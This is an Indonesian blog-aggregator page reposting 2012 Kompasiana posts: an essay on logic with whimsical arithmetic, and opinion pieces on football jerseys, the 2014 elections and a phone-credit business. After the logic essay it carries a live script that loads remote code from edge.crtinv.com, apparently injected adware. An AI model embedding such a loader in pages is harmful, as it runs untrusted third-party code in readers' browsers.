Adsense Link 728 X 15;

Kompasiana

Posted by Sri Rejeki Kamis, 13 September 2012 0 komentar
Adsense Content. recommended 336 X 300

Kompasiana


Logika

Posted: 13 Sep 2012 11:11 AM PDT

13475582891826906648

Logika berasal dari kata Yunani kuno λόγος (logos) yang berarti hasil pertimbangan akal pikiran yang diutarakan lewat kata dan dinyatakan dalam bahasa. Logika adalah salah satu cabang filsafat.

Sebagai ilmu, logika disebut dengan logike episteme (Latin: logica scientia) atau ilmu logika (ilmu pengetahuan) yang mempelajari kecakapan untuk berpikir secara lurus, tepat, dan teratur.

Dalam penyusunan sebuah kalimat tak lepas dari yang dinamakan oleh logika sehingga kalimat tersebut lebih bermakna dan dapat diterima secara rasional.

Ilmu di sini mengacu pada kemampuan rasional untuk mengetahui dan kecakapan mengacu pada kesanggupan akal budi untuk mewujudkan pengetahuan ke dalam tindakan. Kata logis yang dipergunakan tersebut bisa juga diartikan dengan masuk akal.

I.       Huruf + Huruf = ?

Diketahui :

A : Pagar

B : Tanaman

Ditanya :

A + B = ?

Jawab :

A + B = AB

Pagar + Tanaman = Pagar Tanaman

Dalam penambahan beberapa kata diatas dapat menunjuk kan bahwa Pagar Tanaman dapat menjadi kumpulan dari beberapa tanaman yang dijadikan pagar,

sehingga terdapat perubahan makna akan salah satu kata yang paling berpengaruh terhadap kata yang lain nya,

bahwa eksistensi sebuah pagar tersebut adalah tanaman,

dan esensi dari tanaman tersebut berfungsi sebagai pagar.

A + B = C

Pagar + Tanaman = Halaman

Dari penambahan beberapa kata tersebut dapat menimbulkan kata (arti) baru (Halaman) sehingga pemaknaan dalam kata baru tersebut tak dapat menjadi kata A (pagar) atau B (Tanaman).

Kata baru tersebut merupakan kumpulan dari kedua kata (A+B) yang menjadikan sebuah komponen baru (C) yang bukan merupakan eksistensi dari salah satu komponen A atau B.

Sehingga dapat disimpulkan bahwa A dan B merupakan bagian dari C yang keduanya saling berpengaruh dan saling meniadakan.

II.       Angka + Huruf = ?

Dalam soal yang lainnya jikalau A dirubah menjadi suatu bilangan 0-9 maka menjadi :

Misal saya ambil contoh bilangan 2 :

Diketahui :

2 : Bilangan

B : HandPhone

Ditanya :

2 + B = ?

Jawab :

2 + B = 2B

Bahwa telah kita ketahui bersama bahwa sebuah bilangan tak dapat berubah dan tak dapat bereksistensi tanpa adanya sesuatu maka dari itu dapat ditambahkan dengan Handphone yang tak diketahui berapa jumlah nya,

Sehingga dapat disimpulkan jika 2 + HandPhone = 2 HandPhone, dari sini kita dapat mengetahui bahwa HandPhone merupakan bagian dari jumlah bilangan yang disebutkan diatas.

2 + B atau B + B = B

Seperti yang dijelaskan diatas bahwa bilangan tersebut maka bilangan tersebut dapat ditiadakan menjadi sebuah benda tersebut yang dapat mewakili eksistensi dari bilangan tersebut.

Jadi dapat kita ketahui bahwa HandPhone tersebut berjumlah dua namun eksistensi dari HandPhone tersebut masih belum jelas sehingga kita berikan label atau nama dari dua HandPhone maka HandPhone Sony + HandPhone Ericsson = HandPhone SonyEricsson.

Sehingga kedua HandPhone tersebut menjadi HandPhone baru menjadi HandPhone SonyEricsson.

III.    Angka + Angka = ?

Ditanya :

2 + 2 = ?

Jawab :

2 + 2 = 4

Dalam logika formal kita mengetahui bahwa penjumlahan dari beberapa bilangan diatas benar jikalau kita dapat memisah bilangan tersebut dari benda yang menyusun dari beberapa bilangan tersebut.

2 + 2 = 2 2

Dalam penjumlahan bilangan sekali lagi saya menekankan bahwa bilangan merupakan dari susunan dari beberapa komponen benda, karena bilangan bukan dari barang tersebut.

Seperti yang kita ketahui eksistensi sebuah bilangan tanpa sebuah benda maka hal tersebut tak dapat dibuktikan dalam hukum logika, maka dari itu saya mencoba mengeksistensikan bilangan tersebut sehingga bilangan tersebut dapat dijumlahkan.

Jikalau 2 tersebut adalah 2 sapi dan 2 telur maka tak dapat menjadi 4 sapi atau 4 telur, sehingga dalam penjumlahan tersebut merupakan hal yang mustahil yang dapat disimpulkan bahwa

2 sapi + 2 telur maka hasilnya 2 sapi dan 2 telur.

2 + 2 = 0

Seperti yang dijelaskan sebelumnya bahwa sebuah bilangan tak dapat dijumlahkan jika tanpa ada benda yang dapat dijumlahkan maka itu bukanlah penjumlahan yang real namun hanya sebuah khayalan atau dengan kata lain kosong dan tidak nyata.

Referensi :

http://id.wikipedia.org/wiki/Logika

Tan Malaka, Madilog 1943

https://www.facebook.com/notes/nurdinillah-ade-katari/logika/10150767625178646

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

Jersey Latihan The Real Garuda

Posted: 13 Sep 2012 11:11 AM PDT

OPINI | 14 September 2012 | 00:49 Dibaca: 0   Komentar: 0   Nihil

Menonton acara kabar arena malam di TV One tadi malam & ada liputan tentang Tim yg di sebut sebagai The Real Garuda. Tim yg sedang di gembleng oleh tangan dingin coach Alfred Riedl & sedang melakukan TC serta seleksi untuk mempersiapkan diri ke piala aff. Setelah memperhatikan sosok sosok mereka, terasa ada yg ganjil dengan jersey yg di pakai oleh pemain, tak ada logo apapun di dada pemain itu. Tak ada emblem bergambar burung Garuda di dada kiri, tak ada logo PSSI, hanya tersisa logo aparel Nike di dada kanan.
Apakah TimNas itu tak punya kepercayaan diri bahwa mereka berhak untuk menggunakan emblem Garuda?
Ataukah sebenarnya mereka sadar bahwa mereka tak berhak?
Ataukah jersey itu hanya jersey belaka yg bs dibeli & sebenarnya hanya sebuah jersey tanpa arti???


Siapa yang menilai tulisan ini?

Cerita Seorang Gadis dari Perbatasan

Posted: 13 Sep 2012 11:11 AM PDT

Panggung “POLITIK” menuju 2014

Posted: 13 Sep 2012 11:11 AM PDT

OPINI | 14 September 2012 | 00:40 Dibaca: 0   Komentar: 0   Nihil

by : Agus Zaini (FKM UA 2010)

Mungkin baru saja kemarin kita merasakan panas dan sengitnya pemilu 2009, yang menghadirkan lebih dari 30 partai menyajikan visi-misinya untuk memperbaiki negeri ini. Dan memang partai penguasa lewat SBY nya masih memiliki power yang sangat besar untuk untuk menyisihkan partai-partai yang lain.  2014, bangsa kita akan kembali memilih calon pemimpinnya,  masyarakat indonesia sudah rindu akan sosok-sosok yang bisa merevitalisasi kepemimpinan bangsa.  Partai politik menyadari akan hal itu, 2 tahun merupakan waktu yang cukup untuk mempesiapkan semuanya, oleh karena akhir-akhir ini banyak sekali terjadi manuver politik.

Gelliat partai politik dan tingkah polah kadernya di berbagai media baik cetak maupun elektronik menjadi suguhan yang biasa bagi rakyat indonesia. Bahkan partai GOLKAR sudah mendaklarasikan calon presidennya yaitu Aburizal Bakrie, salah satu politikus dan pengusaha kaya indonesia.Langkah partai GOLKAR tersebut secara tidak langsung menutup pintu rapat-rapat bagi Jusuf Kalla yang isu nya juga dicalonkan menjadi salah satu calon presiden. Lain halnya dengan NASDEM, yang pada awalnya hanya berbentuk organisasi kemsyarakatan, sekarang mendaklarasikan sebagai salah satu calon partai politik yang menjajinkan.

Tidak hanya itu, partai GERINDRA, HANURA dan PKS pun mulai berbenah dan show up ke masyarakat luas. Berbagai calon pun muncul misalnya Prabowo subianto yang akhir-akhir ini popularitasnya meningkat tajam, ada juga wiranto yang juga menjadi salah satu kandidat kuda hitam dan dari PKS ada presidennya sendiri. Lalu yang menjadi pertanyaan, bagaimana nasib dari partai penguasa selama masa reformasi ini, yaitu Partai DEMOKRAT dan PDIP perjuangan.  Memang 2012 merupakan tahun yang penuh prahara bagi 2 partai ini, banyka kader-kadernya yang tertangkap KPK melakukan tindak pidana koruspsi, dan perlahan hal tersebut membuat tingkat kepercayaan masyarakat terhadap partai itu menurun. Selain itu ke-2 partai tersebut juga belum mempunyai sosok yang pas untuk dicalonkan menjadi seorang presiden, setelah SBY dan MEGAWATI.

Bursa calon presiden juga diramaikan sosok pemimpin muda yang juga menjanjikan namun dari luar partai politik, ada beberpa nama yang dimunculkan dipermukaan, seperti Dahlan Iskan, Anies Baswedan, Mahfud MD, Gita Wirjawan dsb. Berbagai tokoh tersebut memang belum pasti akan maju, namun sebagian opini masyarakat sudah mengarah pada orang-orang itu, karena berbagai macam pencitraan dan manuver yang dilakukan. Dengan semakin dekat tahun 2014, masyarakat pun mau tak mau harus pandai dan cerdas menyikapi hal tersebut. Nasib bangsa 4-5 tahun kedepan ditentunkan kecerdasan masyarakat indonesia dalam memilih pemimpinnya bukan karena popularitas/pencitraan namun memang karena kualitasnya.


Siapa yang menilai tulisan ini?

Layanan Bisnis pulsa dan token pln

Posted: 13 Sep 2012 11:11 AM PDT

OPINI | 14 September 2012 | 00:38 Dibaca: 0   Komentar: 0   Nihil

Layanan Bisnis Pulsa dan token PLN - By http://nzawix.heck.in/layanan-bisnis-pulsa-dan-token-pln.xhtml

seiring perkembangan dunia teknologi membuat kebutuhan akan pulsa dan token pln meningkat pesat maka dari itu kompas ini mengajak anda dan memberikan lapangan usaha baru untuk berjualan pulsa dan menjadi rekan kerja, kompas memberikan layanan bisnis pulsa dan token pln.kebutuhan

akan pulsa semakin meningkat dikarenakan jumlah pengguna

Handphone juga semakin

banyak dari usia remaja sampai

dewasa dari orang biasa sampai

Pengusaha, seiring dengan

semakin maraknya penggunaan Pulsa menjadikan peluang usaha

untuk kita yang ingin

mendapatkan penghasilan

tambahan dengan bisnis pulsa dan token pln Saya sarankan

anda bergabung dengan KOMPAS inet karena pelayananya yang cepat dan

efisien waktu juga murah hanya

dengan modal Rp.50.000 kita

sudah bisa jualan Pulsa Elektrik .


Siapa yang menilai tulisan ini?
Adsense Content. bottom of article

0 komentar:

Posting Komentar